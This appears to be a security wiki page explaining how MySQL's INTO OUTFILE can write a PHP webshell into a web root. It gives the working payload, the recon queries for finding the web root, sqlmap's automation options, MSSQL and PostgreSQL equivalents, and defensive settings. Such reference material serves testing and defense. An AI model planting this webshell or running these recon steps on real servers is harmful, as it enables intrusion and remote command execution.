MySQL INTO OUTFILE Webshell
MySQL’s SELECT ... INTO OUTFILE writes query results to a file on the server’s filesystem — and when the query’s text is attacker-controlled (via direct database access or SQL injection), the written content can be a script dropped into a web root: a database primitive becomes remote code execution.
The canonical payload
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/cmd.php';Then GET /cmd.php?cmd=id executes commands as the web-server user. From there, a reverse shell is a one-liner away — the webshell is the bootstrap, not the goal.
Preconditions (all three must hold)
FILEprivilege. The MySQL account needs the globalFILEprivilege, which is not covered byGRANT ALL ON db.*— it requiresGRANT FILE ON *.*. Webapp accounts usually lack it; admin-adjacent ones don’t.secure_file_privmust permit the target path. Since MySQL 5.7.6 this system variable defaults to a restrictive value: a specific directory (only that dir is writable),NULL(OUTFILE fully disabled), or empty (no restriction — the exploitable case). Check with:SHOW VARIABLES LIKE 'secure_file_priv'; SELECT @@global.secure_file_priv;- Filesystem permissions. The OS user running
mysqldmust be able to write the target directory — and the target file must not already exist (OUTFILE refuses to overwrite, a small anti-tamper control).
Finding the web root
The write path is server-side, so you need an absolute path the web server serves:
- Force an error that leaks the document root (a common recon trick through SQLi error channels).
- Read likely configs through
LOAD_FILE()(alsoFILE-priv-gated):SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'); - Brute-force common roots:
/var/www/html,/srv/www,/usr/share/nginx/html,C:\inetpub\wwwrooton Windows targets.
SQLi delivery
Through injection the same statement is smuggled into a vulnerable query — e.g. terminating the original SELECT and appending the OUTFILE clause, or via stacked queries where the driver allows them. sqlmap automates it: --os-shell (which attempts OUTFILE webshell upload) and --file-write/--file-dest handle privilege checks and path probing; see sqlmap.
MSSQL and PostgreSQL cousins
- Microsoft SQL Server reaches the same outcome through
xp_cmdshell(see ms-sql-server, mssql-empty-sa-xp-cmdshell) or OLE automation — different mechanism, identical database-to-RCE shape. - PostgreSQL uses
COPY ... TO PROGRAM(9.3+) for direct command execution, no webshell middleman needed.
Defense
- Never grant
FILEto application accounts. - Set
secure_file_privto a dedicated export directory (orNULL). - Run
mysqldwith minimal filesystem permissions; keep web roots unwritable by the database user. - WAF/audit rules on
INTO OUTFILE/INTO DUMPFILEin query logs.
Sources
- MySQL :: SELECT … INTO Statement
- MySQL 8.0 Reference Manual — Server System Variables
- MySQL :: Privileges Provided by MySQL
Related: sql-injection-attacks, sqlmap, ms-sql-server, mssql-empty-sa-xp-cmdshell, rogue-mysql-server, oracle-sql-server